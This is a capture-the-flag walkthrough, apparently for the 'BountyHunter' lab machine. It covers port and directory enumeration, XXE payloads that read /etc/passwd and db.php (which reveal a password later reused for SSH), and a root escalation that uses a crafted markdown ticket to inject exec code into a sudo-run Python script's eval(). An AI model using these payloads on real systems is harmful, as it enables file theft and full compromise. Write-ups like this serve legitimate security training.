Enumeration
Starting with nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Nmap scan report for 10.10.11.100
Host is up (0.34s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
| 256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_ 256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.17 seconds
Looking at results, we have port 80 and 22 open.
PORT 80
Looking at the webpage

The About and Contact links just lead to areas on the main page. The Portal link leads to a simple page that says it’s still under development.

Clicking the link leads us to /log_submit.php which seems like a bug reporting form.

Running ffuf at the backend for directory brute forcing, we found
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ffuf -u http://10.10.11.100/FUZZ -w /usr/share/wordlists/dirb/common.txt -c -e .php
________________________________________________
:: Method : GET
:: URL : http://10.10.11.100/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Extensions : .php
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
__________________________________________
.htpasswd [Status: 403, Size: 277, Words: 20, Lines: 10] .htaccess [Status: 403, Size: 277, Words: 20, Lines: 10]
assets [Status: 301, Size: 313, Words: 20, Lines: 10]
css [Status: 301, Size: 310, Words: 20, Lines: 10]
db.php [Status: 200, Size: 0, Words: 1, Lines: 1]
index.php [Status: 200, Size: 25169, Words: 10028, Lines: 389]
index.php [Status: 200, Size: 25169, Words: 10028, Lines: 389]
js [Status: 301, Size: 309, Words: 20, Lines: 10]
portal.php [Status: 200, Size: 125, Words: 11, Lines: 6]
resources [Status: 301, Size: 316, Words: 20, Lines: 10]
server-status [Status: 403, Size: 277, Words: 20, Lines: 10]
The result gave us couple of interesting files, one db.php and other resource folder. Resource folder had directory listing on which allow us to see all other files in that direcotry.
1
2
3
4
5
6
7
# File: Readme.txt
Tasks:
[ ] Disable 'test' account on portal and switch to hashed password. Disable nopass.
[X] Write tracker submit script
[ ] Connect tracker submit script to the database
[X] Fix developer group permissions
According to the note, a login section exists, with a ‘test’ account probably existing on it. There could also be a database on the system, we can interact with.
Another usefull file was bountylog.js.Checking the content of the file, we have
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/* File: bountylog.js */
function returnSecret(data) {
return Promise.resolve($.ajax({
type: "POST",
data: {"data":data},
url: "tracker_diRbPr00f314.php"
}));
}
async function bountySubmit() {
try {
var xml = `<?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title>${$('#exploitTitle').val()}</title>
<cwe>${$('#cwe').val()}</cwe>
<cvss>${$('#cvss').val()}</cvss>
<reward>${$('#reward').val()}</reward>
</bugreport>`
let data = await returnSecret(btoa(xml));
$("#return").html(data)
}
catch(error) {
console.log('Error:', error);
}
}
The /log_submit.php initiate the above code. The code makes a post requests to tracker_diRbPr00f314.php with the user input formated in XML form encoded in base64. As the code, directly take our input and forms a XML document to send to server, this might be vulnerable to XXE Injection.
Navgating to /log_submit.php, submitting the values, we see our data was being sent in base64 encoded form decoding which leads to XML formatted data. First thing to try, XXE Injection. Using a simple payload to grab the passwd file and encoding it with base64, we were able to get the file.
1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [ <!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<bugreport>
<title>&test;</title>
<cwe>1</cwe>
<cvss>1</cvss>
<reward>1</reward>
</bugreport>

We can here try to get any ssh private keys, but we were not able to in this case. From our directory bruteforcing, we found db.php, we could try to exfill that file. But to exfill PHP codes, we need to use PHP filters. Using a payload from payload-all-the-things, we can change it accordingly for our box
1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [ <!ENTITY test SYSTEM 'php://filter/convert.base64-encode/resource=/var/www/html/db.php'>]>
<bugreport>
<title>&test;</title>
<cwe>1</cwe>
<cvss>1</cvss>
<reward>1</reward>
</bugreport>
Encode and send the request, and we got the output. Decoding the output, we have
1
2
3
4
5
6
7
8
9
10
// db.php file
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>
We have a potential password and from passwd file, we can get the usernames.
1
2
root:x:0:0:root:/root:/bin/bash
development:x:1000:1000:Development:/home/development:/bin/bash
We can try ssh into the box with the creds, and indeed it worked.
Shell as development
1
2
development@bountyhunter:~$ id
uid=1000(development) gid=1000(development) groups=1000(development)
Checking for sudo permission,
1
2
3
4
5
6
development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
The development user have permission to run ticketValidator.py as root. Checking the script,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
print(ticketCode)
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
print(f"validation num: {validationNumber}")
if validationNumber > 100:
return True
else:
return False
return False
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
main()
Here, the script checks few things:
- looks for .md extension,
- First row starts with “# Skytrain Inc”
- Second row starts with “## Ticket to “
- There needs to be a line that starts with “__Ticket Code:__"
- Ticket number divided by 7 should have remaineder 4
Upon satisfying the above condition, its calling eval function. Eval function can be dangerous in Python.
To exploit it, we need to make a markdown file satisfying all the conditions and hit the eval function to get our malicious code to execute.
Our Malicious Markdown file can be created as follows:
1
2
3
4
# Skytrain Inc
## Ticket to abc
__Ticket Code:__
**11+exec('''import os;os.system('/bin/bash -p')''')
Running the python script with above markdown file gave us Root shell. ROOT!!